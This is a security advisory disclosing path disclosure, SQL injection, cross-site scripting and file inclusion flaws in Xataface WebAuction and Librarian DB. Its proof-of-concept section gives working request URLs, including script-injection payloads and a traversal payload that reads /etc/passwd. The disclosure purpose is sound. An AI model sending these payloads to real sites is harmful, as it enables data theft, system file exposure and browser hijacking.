Technical Description: ---------------------- Xataface WebAuction and Xataface Librarian DB Multiple Vulnerabilities. i) Input passed via the '-action' parameter in 'index.php' is not properly verified. This can be exploited to read complete installation path. ii) Input passed via the 'list&-table' and '-action' parameter in 'index.php' page is not properly verified before being used in an SQL query. This can be exploited to manipulate SQL queries by injecting arbitrary SQL queries. iii) Input passed via the '-action' nad 'list&-table' parameter in 'index.php' page is not properly verified before it is returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in the context of a vulnerable site. iV) Input passed via the 'list&-lang' and '-table' parameter in 'index.php' page is not properly verified before it is returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in the context of a vulnerable site. V) Input passed via the 'list&-lang' parameter in 'index.php' is not properly verified beofore using it to include files. This can be exploited to include arbitrary files from external and local resources. The vulnerabilities are tested in Xataface WebAuction v0.3.6, Xataface WebAuction v0.3.5, Xataface Librarian DB v0.2 and Xataface Librarian DB v0.1.3. Other versions may also be affected. Impact: -------- Successful exploitation could allow an attacker to execute arbitrary HTML code in a user's browser session in the context of a vulnerable application or to manipulate SQL queries by injecting arbitrary SQL code or to include arbitrary files from external and local resources. Affected Software: ------------------ Xataface WebAuction v0.3.6 and prior, Xataface Librarian DB v0.2 and prior. Tested on, Xataface WebAuction v0.3.6, Xataface WebAuction v0.3.5, Xataface Librarian DB v0.2, Xataface Librarian DB v0.1.3 References: ----------- http://xataface.com/ http://secpod.org/blog/?p=350 http://sourceforge.net/projects/librariandb/ http://sourceforge.net/projects/webauction/files/webauction/ http://secpod.org/blog/?p=350 http://secpod.org/advisories/SECPOD_Xataface_Webauction_Mult_Vuln.txt Proof of Concept: ----------------- POC 1: ----- Full Path Disclosure Vulnerability http://IP_ADDR/webauction/index.php?-action=%27 http://IP_ADDR/librariandb/index.php?-action=%27 POC 2: ----- SQL Injection Vulnerabilities. http://IP_ADDR/webauction/index.php?-table=%27 http://IP_ADDR/webauction/index.php?-action=list&-table=%27 http://IP_ADDR/librariandb/index.php?-table=%27 http://IP_ADDR/librariandb/index.php?-action=list&-table=%27 POC 3: ----- Cross Site Scripting Vulnerabilities. http://IP_ADDR/webauction/index.php?-action=list&-table=%3Cscript%3Ealert %28%22SecPod-XSS-TEST%22%29%3C/script%3E http://IP_ADDR/webauction/index.php?-table=books&-action=browse_by_cat&-cursor =0&-skip=0&-limit=30&-mode=list&-lang=%27%3Cscript%3Ealert%28%22SecPod-XSS-TEST %22%29%3C/script%3E Vist : http://IP_ADDR/webauction/index.php to see execut injected code http://IP_ADDR/librariandb/index.php?-action=list&-table=%3Cscript%3Ealert%28 %22SecPod-XSS-TEST%22%29%3C/script%3E http://IP_ADDR/librariandb/index.php?-table=books&-action=browse_by_cat&-cursor =0&-skip=0&-limit=30&-mode=list&-lang=%27%3Cscript%3Ealert%28%22SecPod-XSS-TEST %22%29%3C/script%3E POC 4: ----- Local File Inclusion Vulnerability. http://IP_ADDR/webauction/index.php?-table=books&-action=browse_by_cat&-cursor =0&-skip=0&-limit=30&-mode=list&-lang=../../../../../../../../../etc/passwd%00 Vist : http://IP_ADDR/webauction/index.php to see the content of "/etc/passwd" file http://IP_ADDR/librariandb/index.php?-table=books&-action=browse_by_cat&-cursor =0&-skip=0&-limit=30&-mode=list&-lang=../../../../../../../../../etc/passwd%00 Solution: ---------- Fix not available Risk Factor: ------------- CVSS Score Report: ACCESS_VECTOR = NETWORK ACCESS_COMPLEXITY = LOW AUTHENTICATION = NONE CONFIDENTIALITY_IMPACT = PARTIAL INTEGRITY_IMPACT = PARTIAL AVAILABILITY_IMPACT = NONE EXPLOITABILITY = PROOF_OF_CONCEPT REMEDIATION_LEVEL = UNAVAILABLE REPORT_CONFIDENCE = CONFIRMED CVSS Base Score = 6.4 (High) (AV:N/AC:L/Au:N/C:P/I:P/A:N) Credits: -------- Antu Sanadi of SecPod Technologies has been credited with the discovery of this vulnerability.
